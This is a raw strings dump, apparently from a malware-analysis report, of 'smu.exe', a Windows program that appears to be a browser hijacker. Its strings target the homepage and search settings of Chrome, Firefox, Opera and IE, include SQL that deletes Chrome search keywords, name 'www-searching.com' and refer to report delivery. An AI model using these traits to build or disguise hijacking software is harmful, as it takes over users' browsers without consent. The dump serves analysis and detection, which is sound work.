[Explorer::BrowserSettings::DeleteKey]
[Explorer::BrowserSettings::DeleteKey]
Argument.Parent:
Argument.Parent:
Argument.Subkey:
Argument.Subkey:
VirtualSpeedbitSearchScopeKey::EnsureKeyW
VirtualSpeedbitSearchScopeKey::EnsureKeyW
SuggestionsURLFallback
SuggestionsURLFallback
SuggestionsURL
SuggestionsURL
FaviconURLFallback
FaviconURLFallback
TopResultURL
TopResultURL
KERNELBASE.DLL
KERNELBASE.DLL
smu.exe_1104:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
@.reloc
@.reloc
FTPj
FTPj
E@PSSh
E@PSSh
1 23 456
1 23 456
Jx.SHx
Jx.SHx
.TxK%Yx
.TxK%Yx
208.69.150.250
208.69.150.250
208.69.150.252
208.69.150.252
8.8.8.8
8.8.8.8
SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
Catcher.ProcessId:
Catcher.ProcessId:
Catcher.Path:
Catcher.Path:
Watcher.Filter:
Watcher.Filter:
2.1.9.476
2.1.9.476
smu.exe
smu.exe
Chrome
Chrome
Report.xml
Report.xml
/Url:
/Url:
unzip 1.01 Copyright 1998-2004 Gilles Vollant - hXXp://VVV.winimage.com/zLibDll
unzip 1.01 Copyright 1998-2004 Gilles Vollant - hXXp://VVV.winimage.com/zLibDll
3.7.2
3.7.2
SQLite format 3
SQLite format 3
CREATE TABLE sqlite_master(
CREATE TABLE sqlite_master(
sql text
sql text
CREATE TEMP TABLE sqlite_temp_master(
CREATE TEMP TABLE sqlite_temp_master(
REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLYo
REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLYo
inflate 1.2.3 Copyright 1995-2005 Mark Adler
inflate 1.2.3 Copyright 1995-2005 Mark Adler
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
1.2.3
1.2.3
?456789:;
?456789:;
!"#$%&'()* ,-./0123
!"#$%&'()* ,-./0123
Report factory:
Report factory:
Update.xml
Update.xml
URLSet
URLSet
Report
Report
homeURL
homeURL
suggestURL
suggestURL
newTabURL
newTabURL
ieSearchURL
ieSearchURL
chSearchURL
chSearchURL
ffSearchURL
ffSearchURL
opSearchURL
opSearchURL
chromeKeyword
chromeKeyword
[UpdateParser::Implementation::UpdateParser::ParseUrlSetSection]
[UpdateParser::Implementation::UpdateParser::ParseUrlSetSection]
vup.tmp
vup.tmp
Argument.CheckResult:
Argument.CheckResult:
Argument.IsRunning:
Argument.IsRunning:
Delivery of report succeeded. TaskId:
Delivery of report succeeded. TaskId:
Delivery of report failed.
Delivery of report failed.
X;
X;
%s>
%s>
%s="%s"
%s="%s"
%s='%s'
%s='%s'
version="%s"
version="%s"
encoding="%s"
encoding="%s"
standalone="%s"
standalone="%s"
SHDeleteKeyW
SHDeleteKeyW
RegDeleteKeyExA
RegDeleteKeyExA
RegDeleteKeyExW
RegDeleteKeyExW
NtQueryKey
NtQueryKey
1.3.6.1.4.1.311.2.1.12
1.3.6.1.4.1.311.2.1.12
Snapshot.xml
Snapshot.xml
GoogleChrome
GoogleChrome
MozillaFirefox
MozillaFirefox
AboutTabsUrl
AboutTabsUrl
HomePageUrl
HomePageUrl
DefaultProviderKeyword
DefaultProviderKeyword
UrlsToRestoreOnStartup
UrlsToRestoreOnStartup
StartupHomepageUrl
StartupHomepageUrl
Chrome propagate flags:
Chrome propagate flags:
Firefox propagate flags:
Firefox propagate flags:
ParentKey:
ParentKey:
GvrV5 fIBwR5G1CQDyLsic/pOLfRYKAGRyMxV8NxzSLudH5dYJ7ItKYE7rC1AC99X2kzxEChSNvkXetV0jCmjqUjmvO10UOWty3ApOQucR/hia9cu3H02a 5R CG5qhR8Y/uzTzzCr4GfPZ8D8t88yUqyCjdTSd8VRzWUuml0XIRmAC3mIaIBnS0qtpU54eeMa P511PX57TteCBWpQr UysHS8QouOBFyhBBaanipF1PUZ8zItL9IeCtaFExJDKcxi7FU7dmU7ctk7EMZZR3AC3j7jgcRnxrBRdeCW5PDYDKjcHmxPGAZm ePsRg6dCH9XvAsXiSqWsGTuCaJydkQ6BC6sdjbBYCQUNu0nP10JlSn5NzpucbmEgVB1WLSsSDe9vYbtKTOOJRR/CGu7qSqmZ1YxAdjnPMshzg FPfycjHdyERU/SZHvERWXU9WjRnocOXQbT0XOzcBQYfdCa3hiBDgamllsamooTTof6lK6Zb2EYpLiqRQU8WOQCSQu3D2YDP5v9J1Ah7R5gFH4pWrujpklOckba/Bhit29bHcRVAi6mCX5DamNCUq4tY5YMLWVOyVlPLgnZ2 AoHHhCVzsJqNqYZAEseYuauz5gxxhiozc82QCxEJsH2wDGV4Fnf8fmimJyQybsVBebTkkGhRnXfu0YEB4r2oBX3lttd09zG gE2dSUZsHBBBRwvxpM1HoEdvDeLKIaszMpTdRi5i9Rjlxfi9Gpe0mMgvRgepguez9/DfrgUpCVpjnmdNa5TuEirTy3 3mUWdojeY6y8tNBJLsyaj2cmjca3wiE/pLENTnow dbju2fmW9Odso8GLznFwJ6v7o aa2XPOVqX1qryZzbVRaYkdUtOZwrz3FBq1reAfrk12qBENZPPGH8qFcC1Xta09MnkMdxGwD1VeVH6y1RoVkpTPp8mumzKWoXv9DMFPLowiUNgpG22Ss2Vl3szBKCiwYupVQT1GMO/8/psE5WgwQjj9GkHyf3qsI7DSk3d1tp6LFKIdpFPw1fKx72Xwkee0n1T14ksSGewLuCI5WBuOqSexXFXKxmwFhXlCqivfRWSmIJP3ILQrfZbdILbXlwYfOJaoFIMMzCvlMq1hNa/26crmnuBXd8PAHYi5oF Ezzi28v/GmzOTan5Inj1p29ta/WyOajmdLkVPj/Ff/85EnaiNPV62/inI0Y G cikLBu94xgMNywTIn0iSo0A2A5zcNR0/W3DEqGCgbVHqqqN7oxy08Qx5h2gnrOB oSz4TfhJ72enIju7sYLTxMA7kHQzi1uY89QwqJ0lVbA0qUWOVGk3mHyuDH6s6ZsaVE21RT7iGvRc QmQG7X0EwDW3iK5YkiyDUwVzhYEGWfcbv2oR3qOQQDzTqwWYUeFmo0zKzQ86B08jN52EcuOE/ZCkLYCStfmrxhGiipXWbEWtFa973DaRy3KrobC50pz6S4AQ Xu9RlrutYMXGmRg/8hI08I4xW5uWRoMqVCLBcPq478k/Ez1Iuvw3JZBa5n3BHwmUosLcnRRpHWRptiZlKMNviUquLgwrIMhacWmDWX6DGjZz72knZzg3qzYwKatnnRjfEtXRrxXq5dKWE8P/XvlVCstT/qYqNm964Oc46C0p/j6M59qVRvkUnAZuZKVVXVc04fSy4FjvJzrD5LfXxpYA7lBFQ60fZYVir 54eC83A5L9BfivvGlwewWfWS5racrcSmF5nYMxn3f8EjwkuZK91BRZlAPdRAg1gfb2ohlntdntu/8x6g1Fph870zNk13u7LFWihV1csZZqZaKcf8uHi wLKouWpmT1vhCNR07YaH6glQvRnt556rVJvZWmKsVI D11NhFxQLUCKde TCvcZ9s8s2wVPTRW5ahtdYOUnZTFvHHm6WxjtFCc nNYa9LXYdoHnqQQbbKdnkYE3sY0r1cUZAZcLNGx7JjJlAz wLhxfvJ5Se6MsCoFx4tMQppa5N4IrcPL90Nqa0IehVmEvHvCsO96nwiOiJpFF5Rng8RAqrvnP7fJBgG grlD9sfim7R2LOvb8LIeDb/HkDwIOy0Ypq2WpWoj2sTSzv4LQeLmJnKqL8dPxNApEeCe/on90DLRH/7K2BOfAj4xNnkG8Wurgv8Aq205ha0rLU9c3fMu9qrSi/Lbh E5HwYMA/tzBwF6ZXR99yS0gt mz6yNCN8w9wK3 0cO6uoanOjzCCxkuXpkyIU5hIi4/aW0TS2NlDFlvgPs37FyXA3rM0rHHeEds6 N2YImzYWB45i3GqILHKLBnTYfsLAUMKSLqWFcSqlD2EAOJbgUN2dhhIZd8JSqHyltvUyR8fGRbT8H1C6lFlFw6TCxTjkY7hSGOB6CqzEs33tkr55PJUiBsU lrpTQX7T29psodMnih9sC97Wb6zIFJyIfIoxaxbcC411rqyJV WlRazWlP9dmcgd2KEqEuh HIGycoc6a74vp4I1eVo4j1DXtAbXnHEj/Nzk4NsFusbI9x9r8yoJGsAjKACoQqPoqgY6Nh6OgOPbqO0KcFE6RykrPzFDk087OfMz9xiaFrZcW9VdEoOGStbeIbQ61UbyXpHDkUpxIwy4WM6Q9jKdPcTJ3aBz3FCcdefxnGRHHeQ/TqrwU4zZ7WYikjCOoz6MLXTYdCCnrllA//dUk4rwM1HWaGHEMhUdSy8hKAd5bLH9JrVLB06axRgBYkgEfMAtdk/nTZwNFANA3xxxsjmlKtAzYNMpGhR5Jt2gs wEJKr3LF4mYqDxTmRdmxZzTSVlyupVv4c9WZc 5yFM63XebcscL6A4Vnd3tBpJCwY7BQj/INn 6L4DYFeEPAk3u56A6Idj9m5n3G8ElGy2ioOO5NLlT2BbQaf ydP 9doEgUl5I8vsvV3drtRmh8NlZTBnor4rhMg/5817TDiQOHVX/6ICKz8QAQ1qXh7rzHRgxv7l4hHdXC4BGHwimaD0vYdupfNiXOzJcR9Zi2FrL85kXZm/pKyAcUuT4mzwjvKHO8APVYBS3WPir7VT2GFuHIUk1jJdNzKYgPjW22pzqdWXzPCSwjqDtq1qci7tqa/iOikTtCsTOpe AtNDxBDyzbGRaGFRyDRmXf33o2wcd//5IkfU7zQDa8WdYYUqsJynEUW42wWLV2nfjyqvreKblZDfYXn7THCHpV FJqIA6QA3pVD/Iu4KCRWdwZhmGMf5115QF0A6wrHoiZr/C/c/ZzCzFd9AGd0/X/RXx5kAb/zSif FfHcxHpQ1pq956dBZ1KjZrY9PyxZF/uA8rHRCmaSGD4KhAwxA/T36fiLBJIvl YXdITmqH9g nng7f45Zi7UUvzZxHqetki8rZ VsWB0xM9f7cSEmyvDEqfhNKYT P/d8P9NRwv9pUx8RxruqBWYeyfeSKjB j97YTQCVG7lhvWt9SPacgGMHYQuR8YiGg3n/fKOacQ7XY7aXdMHYubFWgoTODW1TvMnTvo9KyKdcPRIZQLlODCSK2cA1/R AIojRwIFEU3gXLsC9CzL9TEeGdDnmnpTjRR/oc4fnDwiFdwh1sts7dbUU/MKxC0vIxSqTJ Bm5RJuCOUcCIOEALJ suBTJvj4EmrcgctR6ryJKkGlDzGLrLWgyK0pY776i MXQ6AA3wbM3ZQi75onR2vwCjgg8UQv5DMcP6HUM17MXCEHdbIEUvhJAKDZ6LGKfkP96HQrEgqjjsj97SZh YcQTzaR0M7JY3K3RwE/Oqv8BkWJMrOL1Mnhg vKtsNcwhtpUsBwrBgu3JrXbI/x0dho12ZuysjpUNiI7l8TVGCz00XXU0TNrucXvRe0z35rEpiTe9S/xdMqSDXmdGPz0VAHnfSf7GAckWfA3cfc6 fK3empP1a92e LLSpLJ eMrocYgVIvvo3sTpDaXWjQTa02srQEfZ9IFEOoEy3hYk1SzsXYanCd2UpHfsIHUn7A6Q5RL6kWAZXZjwXvcyDAd/iE/QmFFsENOkaEHNg5OVQeNkq6yEZdfdzPkkTSoD4ztUHEJpeNg66Z9bb085oS J3S42RvycdQGnk5Oi5IEzP24pIdF j3sKq17UXVbyMFHV8lOjWSlh1Y0Kq937bvGCBsnRwVwsXGaLrE0r4tLCj m5AR2mFP4JZKENROWGtv3BprlrMyW6uvd5XSKuyvDiHUpXC6X9vrBPdjhmY u1Ix3RLWWPyTlPNW9REKmk L6jtTqOdXQBBY6llXsDP GxJn/t1uTRSFktjf19T8K50owKGTnlhpUoqBt9WVKYR6YyGit8Mk9OX/kVR75EdE/t/VVSU/iQ4d3nFk75apgn3VoMIbDYB0MU7nPdwWV4Bw3vs2RpHTpOtd1ALNwE2rqG4GkKoTSlO7r7pf/7JUPLCEJ3MTmW ertKdGAF44MJoB5oJUC7cRpKE1GGYau4eKBe29fIMqabrVr6QSkkptljw8q6a9b0s51CNzKlcCEcnJ7cb8LzsVCoGFhsnLlYPtWEiZHnck3lMYWn 3dXBSbWlR5w4LH5uACO4/rhbVUD4ucX8Q3I xuwLg6D9pwjadqdcdeihP/dYMvbQkdRk/tNAX0NaFWMR/HAAIfPoqp/1rr1gRVssVKEiGD5sEAwe6oTJDXp53arWV3D/D5vn5IujBQ 2rnEYYUHXiy8l1JERR4rjNA7DT12jpOMT0jMd3iVIUBUj1mzjGZXIzrf1f/a31pbSCu 0xzo QvEihKjVfvV3OARI6o/U01YFNMB9PVBsYErGfiDd63JVmt3N8qLiFu9vjgbuR8v1Rqn6xhFt/268gxSnx6tR6RFkFakyk6xOIaoJqswSm7afKhThe55zMkJ1PXHaus/uKqhRKSx4PeLqR FvkdLVc1JiARy7RTdtBf4Bb2EFW11 XM3gU54DShNFXlldANcdZN6m/SO8vvJk2D45MvLWXyNVpppvdKfZ8gxSFna86neYQQ5MDbA2ybUl7PMmpMhipbx4u11sXUrkPb1krAEmlZe8b0NidLcTj9VOBgLD1OGyOnG 6iwNfShAh8UxAiZdQsOW7WkEAhvQWcu8F7zEZv1/RgOnyZj8h3NoufhlpqLWpBDf1Yn2TzN3mCKZZVtLWxoUGYN5hKFOHNw wFzSF/NcvveWIPceTitVXSx5V6KEMOmO9a8dbLLGj7wxi CD8aPNkL axxoWufJlAgNxC5vXoEVAtplK0CHRgJ/wFPHmREGEF7NKP9A1ATHTHzs97I04evT1dSc49oXK9XKbkx4nNsdwgeSdyWVKCABqAz9kVRVIom17pjwW8hc2JMJMhfEYUhDTenPgRu39cVRdPbHRBv9RULbqFimTLA6Ty1z2vN d RyOelC1Br/KCR1gs3 82Cpw9ANMYOUJSuSRxU/0yUKmboVum8icoM 1NpWi o wNKF/mtSGBg2O7QHI1qiCaEFr4JJ1dCTCibfvDUMgTIY4O6BS09dnfU66wIflATHfn3Vmz2O50icTeJCWKS1jbawYcRi18oLSBwmpPDXEo2PN7yZL9HUZF1QouUtVmHVEdUE4rQByTqa1MVsX86qDqtUnory9jONYV/vH7d4ez2KHSdPTt9xp3DAUH6A6dfyDIuV/9p42DDcXnW76lM3U/CsGM D9wFWiE46fRg5YU7GaujJWF04ZND7q gtbYPtbQ5 c5GicyYhXm7 JEE0t2 umb1A3XkLpWHPgOskn6nDRqT8pogSUQIwAhh71cUWkOGDMbcf JXOSMxXP9kIlF0Hl83ZsuwOnCxDcq7fa7o4mw/XZQgWJ7s4hA8s3/oev6/GtZX1KRw0qxgWbFSByNpU9rJc7akt9ZTVy19DUC2bVf/S7 mDmdLTLXknZuoeYWL /Yu/KMHimnmPc3VbRijG9yMq346J4Uzg qdOxn2P9sq2/IGUhNgRHnYhWUtJpyCaS7J8aQXHlRip23vRRFZdpWvqMNS9BWHDk1ISh5GUkediSGfX6oTEL2qol6OQQa4sXuy2Ei75O6Mdxd8rEdObV9Nr8FAW0IXJI93aPpDKjCx12PbNKFWnWXhtfxNKNQd9uTCY=
GvrV5 fIBwR5G1CQDyLsic/pOLfRYKAGRyMxV8NxzSLudH5dYJ7ItKYE7rC1AC99X2kzxEChSNvkXetV0jCmjqUjmvO10UOWty3ApOQucR/hia9cu3H02a 5R CG5qhR8Y/uzTzzCr4GfPZ8D8t88yUqyCjdTSd8VRzWUuml0XIRmAC3mIaIBnS0qtpU54eeMa P511PX57TteCBWpQr UysHS8QouOBFyhBBaanipF1PUZ8zItL9IeCtaFExJDKcxi7FU7dmU7ctk7EMZZR3AC3j7jgcRnxrBRdeCW5PDYDKjcHmxPGAZm ePsRg6dCH9XvAsXiSqWsGTuCaJydkQ6BC6sdjbBYCQUNu0nP10JlSn5NzpucbmEgVB1WLSsSDe9vYbtKTOOJRR/CGu7qSqmZ1YxAdjnPMshzg FPfycjHdyERU/SZHvERWXU9WjRnocOXQbT0XOzcBQYfdCa3hiBDgamllsamooTTof6lK6Zb2EYpLiqRQU8WOQCSQu3D2YDP5v9J1Ah7R5gFH4pWrujpklOckba/Bhit29bHcRVAi6mCX5DamNCUq4tY5YMLWVOyVlPLgnZ2 AoHHhCVzsJqNqYZAEseYuauz5gxxhiozc82QCxEJsH2wDGV4Fnf8fmimJyQybsVBebTkkGhRnXfu0YEB4r2oBX3lttd09zG gE2dSUZsHBBBRwvxpM1HoEdvDeLKIaszMpTdRi5i9Rjlxfi9Gpe0mMgvRgepguez9/DfrgUpCVpjnmdNa5TuEirTy3 3mUWdojeY6y8tNBJLsyaj2cmjca3wiE/pLENTnow dbju2fmW9Odso8GLznFwJ6v7o aa2XPOVqX1qryZzbVRaYkdUtOZwrz3FBq1reAfrk12qBENZPPGH8qFcC1Xta09MnkMdxGwD1VeVH6y1RoVkpTPp8mumzKWoXv9DMFPLowiUNgpG22Ss2Vl3szBKCiwYupVQT1GMO/8/psE5WgwQjj9GkHyf3qsI7DSk3d1tp6LFKIdpFPw1fKx72Xwkee0n1T14ksSGewLuCI5WBuOqSexXFXKxmwFhXlCqivfRWSmIJP3ILQrfZbdILbXlwYfOJaoFIMMzCvlMq1hNa/26crmnuBXd8PAHYi5oF Ezzi28v/GmzOTan5Inj1p29ta/WyOajmdLkVPj/Ff/85EnaiNPV62/inI0Y G cikLBu94xgMNywTIn0iSo0A2A5zcNR0/W3DEqGCgbVHqqqN7oxy08Qx5h2gnrOB oSz4TfhJ72enIju7sYLTxMA7kHQzi1uY89QwqJ0lVbA0qUWOVGk3mHyuDH6s6ZsaVE21RT7iGvRc QmQG7X0EwDW3iK5YkiyDUwVzhYEGWfcbv2oR3qOQQDzTqwWYUeFmo0zKzQ86B08jN52EcuOE/ZCkLYCStfmrxhGiipXWbEWtFa973DaRy3KrobC50pz6S4AQ Xu9RlrutYMXGmRg/8hI08I4xW5uWRoMqVCLBcPq478k/Ez1Iuvw3JZBa5n3BHwmUosLcnRRpHWRptiZlKMNviUquLgwrIMhacWmDWX6DGjZz72knZzg3qzYwKatnnRjfEtXRrxXq5dKWE8P/XvlVCstT/qYqNm964Oc46C0p/j6M59qVRvkUnAZuZKVVXVc04fSy4FjvJzrD5LfXxpYA7lBFQ60fZYVir 54eC83A5L9BfivvGlwewWfWS5racrcSmF5nYMxn3f8EjwkuZK91BRZlAPdRAg1gfb2ohlntdntu/8x6g1Fph870zNk13u7LFWihV1csZZqZaKcf8uHi wLKouWpmT1vhCNR07YaH6glQvRnt556rVJvZWmKsVI D11NhFxQLUCKde TCvcZ9s8s2wVPTRW5ahtdYOUnZTFvHHm6WxjtFCc nNYa9LXYdoHnqQQbbKdnkYE3sY0r1cUZAZcLNGx7JjJlAz wLhxfvJ5Se6MsCoFx4tMQppa5N4IrcPL90Nqa0IehVmEvHvCsO96nwiOiJpFF5Rng8RAqrvnP7fJBgG grlD9sfim7R2LOvb8LIeDb/HkDwIOy0Ypq2WpWoj2sTSzv4LQeLmJnKqL8dPxNApEeCe/on90DLRH/7K2BOfAj4xNnkG8Wurgv8Aq205ha0rLU9c3fMu9qrSi/Lbh E5HwYMA/tzBwF6ZXR99yS0gt mz6yNCN8w9wK3 0cO6uoanOjzCCxkuXpkyIU5hIi4/aW0TS2NlDFlvgPs37FyXA3rM0rHHeEds6 N2YImzYWB45i3GqILHKLBnTYfsLAUMKSLqWFcSqlD2EAOJbgUN2dhhIZd8JSqHyltvUyR8fGRbT8H1C6lFlFw6TCxTjkY7hSGOB6CqzEs33tkr55PJUiBsU lrpTQX7T29psodMnih9sC97Wb6zIFJyIfIoxaxbcC411rqyJV WlRazWlP9dmcgd2KEqEuh HIGycoc6a74vp4I1eVo4j1DXtAbXnHEj/Nzk4NsFusbI9x9r8yoJGsAjKACoQqPoqgY6Nh6OgOPbqO0KcFE6RykrPzFDk087OfMz9xiaFrZcW9VdEoOGStbeIbQ61UbyXpHDkUpxIwy4WM6Q9jKdPcTJ3aBz3FCcdefxnGRHHeQ/TqrwU4zZ7WYikjCOoz6MLXTYdCCnrllA//dUk4rwM1HWaGHEMhUdSy8hKAd5bLH9JrVLB06axRgBYkgEfMAtdk/nTZwNFANA3xxxsjmlKtAzYNMpGhR5Jt2gs wEJKr3LF4mYqDxTmRdmxZzTSVlyupVv4c9WZc 5yFM63XebcscL6A4Vnd3tBpJCwY7BQj/INn 6L4DYFeEPAk3u56A6Idj9m5n3G8ElGy2ioOO5NLlT2BbQaf ydP 9doEgUl5I8vsvV3drtRmh8NlZTBnor4rhMg/5817TDiQOHVX/6ICKz8QAQ1qXh7rzHRgxv7l4hHdXC4BGHwimaD0vYdupfNiXOzJcR9Zi2FrL85kXZm/pKyAcUuT4mzwjvKHO8APVYBS3WPir7VT2GFuHIUk1jJdNzKYgPjW22pzqdWXzPCSwjqDtq1qci7tqa/iOikTtCsTOpe AtNDxBDyzbGRaGFRyDRmXf33o2wcd//5IkfU7zQDa8WdYYUqsJynEUW42wWLV2nfjyqvreKblZDfYXn7THCHpV FJqIA6QA3pVD/Iu4KCRWdwZhmGMf5115QF0A6wrHoiZr/C/c/ZzCzFd9AGd0/X/RXx5kAb/zSif FfHcxHpQ1pq956dBZ1KjZrY9PyxZF/uA8rHRCmaSGD4KhAwxA/T36fiLBJIvl YXdITmqH9g nng7f45Zi7UUvzZxHqetki8rZ VsWB0xM9f7cSEmyvDEqfhNKYT P/d8P9NRwv9pUx8RxruqBWYeyfeSKjB j97YTQCVG7lhvWt9SPacgGMHYQuR8YiGg3n/fKOacQ7XY7aXdMHYubFWgoTODW1TvMnTvo9KyKdcPRIZQLlODCSK2cA1/R AIojRwIFEU3gXLsC9CzL9TEeGdDnmnpTjRR/oc4fnDwiFdwh1sts7dbUU/MKxC0vIxSqTJ Bm5RJuCOUcCIOEALJ suBTJvj4EmrcgctR6ryJKkGlDzGLrLWgyK0pY776i MXQ6AA3wbM3ZQi75onR2vwCjgg8UQv5DMcP6HUM17MXCEHdbIEUvhJAKDZ6LGKfkP96HQrEgqjjsj97SZh YcQTzaR0M7JY3K3RwE/Oqv8BkWJMrOL1Mnhg vKtsNcwhtpUsBwrBgu3JrXbI/x0dho12ZuysjpUNiI7l8TVGCz00XXU0TNrucXvRe0z35rEpiTe9S/xdMqSDXmdGPz0VAHnfSf7GAckWfA3cfc6 fK3empP1a92e LLSpLJ eMrocYgVIvvo3sTpDaXWjQTa02srQEfZ9IFEOoEy3hYk1SzsXYanCd2UpHfsIHUn7A6Q5RL6kWAZXZjwXvcyDAd/iE/QmFFsENOkaEHNg5OVQeNkq6yEZdfdzPkkTSoD4ztUHEJpeNg66Z9bb085oS J3S42RvycdQGnk5Oi5IEzP24pIdF j3sKq17UXVbyMFHV8lOjWSlh1Y0Kq937bvGCBsnRwVwsXGaLrE0r4tLCj m5AR2mFP4JZKENROWGtv3BprlrMyW6uvd5XSKuyvDiHUpXC6X9vrBPdjhmY u1Ix3RLWWPyTlPNW9REKmk L6jtTqOdXQBBY6llXsDP GxJn/t1uTRSFktjf19T8K50owKGTnlhpUoqBt9WVKYR6YyGit8Mk9OX/kVR75EdE/t/VVSU/iQ4d3nFk75apgn3VoMIbDYB0MU7nPdwWV4Bw3vs2RpHTpOtd1ALNwE2rqG4GkKoTSlO7r7pf/7JUPLCEJ3MTmW ertKdGAF44MJoB5oJUC7cRpKE1GGYau4eKBe29fIMqabrVr6QSkkptljw8q6a9b0s51CNzKlcCEcnJ7cb8LzsVCoGFhsnLlYPtWEiZHnck3lMYWn 3dXBSbWlR5w4LH5uACO4/rhbVUD4ucX8Q3I xuwLg6D9pwjadqdcdeihP/dYMvbQkdRk/tNAX0NaFWMR/HAAIfPoqp/1rr1gRVssVKEiGD5sEAwe6oTJDXp53arWV3D/D5vn5IujBQ 2rnEYYUHXiy8l1JERR4rjNA7DT12jpOMT0jMd3iVIUBUj1mzjGZXIzrf1f/a31pbSCu 0xzo QvEihKjVfvV3OARI6o/U01YFNMB9PVBsYErGfiDd63JVmt3N8qLiFu9vjgbuR8v1Rqn6xhFt/268gxSnx6tR6RFkFakyk6xOIaoJqswSm7afKhThe55zMkJ1PXHaus/uKqhRKSx4PeLqR FvkdLVc1JiARy7RTdtBf4Bb2EFW11 XM3gU54DShNFXlldANcdZN6m/SO8vvJk2D45MvLWXyNVpppvdKfZ8gxSFna86neYQQ5MDbA2ybUl7PMmpMhipbx4u11sXUrkPb1krAEmlZe8b0NidLcTj9VOBgLD1OGyOnG 6iwNfShAh8UxAiZdQsOW7WkEAhvQWcu8F7zEZv1/RgOnyZj8h3NoufhlpqLWpBDf1Yn2TzN3mCKZZVtLWxoUGYN5hKFOHNw wFzSF/NcvveWIPceTitVXSx5V6KEMOmO9a8dbLLGj7wxi CD8aPNkL axxoWufJlAgNxC5vXoEVAtplK0CHRgJ/wFPHmREGEF7NKP9A1ATHTHzs97I04evT1dSc49oXK9XKbkx4nNsdwgeSdyWVKCABqAz9kVRVIom17pjwW8hc2JMJMhfEYUhDTenPgRu39cVRdPbHRBv9RULbqFimTLA6Ty1z2vN d RyOelC1Br/KCR1gs3 82Cpw9ANMYOUJSuSRxU/0yUKmboVum8icoM 1NpWi o wNKF/mtSGBg2O7QHI1qiCaEFr4JJ1dCTCibfvDUMgTIY4O6BS09dnfU66wIflATHfn3Vmz2O50icTeJCWKS1jbawYcRi18oLSBwmpPDXEo2PN7yZL9HUZF1QouUtVmHVEdUE4rQByTqa1MVsX86qDqtUnory9jONYV/vH7d4ez2KHSdPTt9xp3DAUH6A6dfyDIuV/9p42DDcXnW76lM3U/CsGM D9wFWiE46fRg5YU7GaujJWF04ZND7q gtbYPtbQ5 c5GicyYhXm7 JEE0t2 umb1A3XkLpWHPgOskn6nDRqT8pogSUQIwAhh71cUWkOGDMbcf JXOSMxXP9kIlF0Hl83ZsuwOnCxDcq7fa7o4mw/XZQgWJ7s4hA8s3/oev6/GtZX1KRw0qxgWbFSByNpU9rJc7akt9ZTVy19DUC2bVf/S7 mDmdLTLXknZuoeYWL /Yu/KMHimnmPc3VbRijG9yMq346J4Uzg qdOxn2P9sq2/IGUhNgRHnYhWUtJpyCaS7J8aQXHlRip23vRRFZdpWvqMNS9BWHDk1ISh5GUkediSGfX6oTEL2qol6OQQa4sXuy2Ei75O6Mdxd8rEdObV9Nr8FAW0IXJI93aPpDKjCx12PbNKFWnWXhtfxNKNQd9uTCY=
2, 1, 9, 476
2, 1, 9, 476
Envelop.xml
Envelop.xml
Configuration.xml
Configuration.xml
UrlSet
UrlSet
Opera
Opera
StartPageUrl
StartPageUrl
AboutTabUrl
AboutTabUrl
SearchScopeUrl
SearchScopeUrl
SearchScopeIconUrl
SearchScopeIconUrl
SearchScopeSuggestUrl
SearchScopeSuggestUrl
DefaultProviderSearchUrl
DefaultProviderSearchUrl
DefaultProviderIconUrl
DefaultProviderIconUrl
DefaultProviderSuggestUrl
DefaultProviderSuggestUrl
SearchPluginUrl
SearchPluginUrl
SearchPluginSuggestionUrl
SearchPluginSuggestionUrl
TabPageUrl
TabPageUrl
SearchEngineFaviconUrl
SearchEngineFaviconUrl
SearchEngineSuggestionUrl
SearchEngineSuggestionUrl
SearchEngineSearchUrl
SearchEngineSearchUrl
SearchEngineKeyword
SearchEngineKeyword
System.xml
System.xml
Reset-2.1.0.7
Reset-2.1.0.7
UpdateUrl
UpdateUrl
ReportUrl
ReportUrl
ReportDlls
ReportDlls
User.xml
User.xml
urls
urls
SELECT * FROM urls
SELECT * FROM urls
ERROR: %s
ERROR: %s
WebData path:
WebData path:
Argument.GeneralConfig:
Argument.GeneralConfig:
Argument.Snapshot:
Argument.Snapshot:
Argument.Flags:
Argument.Flags:
suggest_url
suggest_url
originating_url
originating_url
favicon_url
favicon_url
keyword
keyword
keyword LIKE '
keyword LIKE '
keywords
keywords
WHERE key = 'Default Search Provider ID'
WHERE key = 'Default Search Provider ID'
key = 'Default Search Provider ID'
key = 'Default Search Provider ID'
DELETE from keywords WHERE id =
DELETE from keywords WHERE id =
search_url
search_url
icon_url
icon_url
startup_urls
startup_urls
urls_to_restore_on_startup
urls_to_restore_on_startup
chrome_url_overrides
chrome_url_overrides
template_url_data
template_url_data
www-searching.com
www-searching.com
image_url_post_params
image_url_post_params
instant_url
instant_url
instant_url_post_params
instant_url_post_params
new_tab_url
new_tab_url
search_terms_replacement_key
search_terms_replacement_key
search_url_post_params
search_url_post_params
suggestions_url
suggestions_url
suggestions_url_post_params
suggestions_url_post_params
chrome_settings_overrides
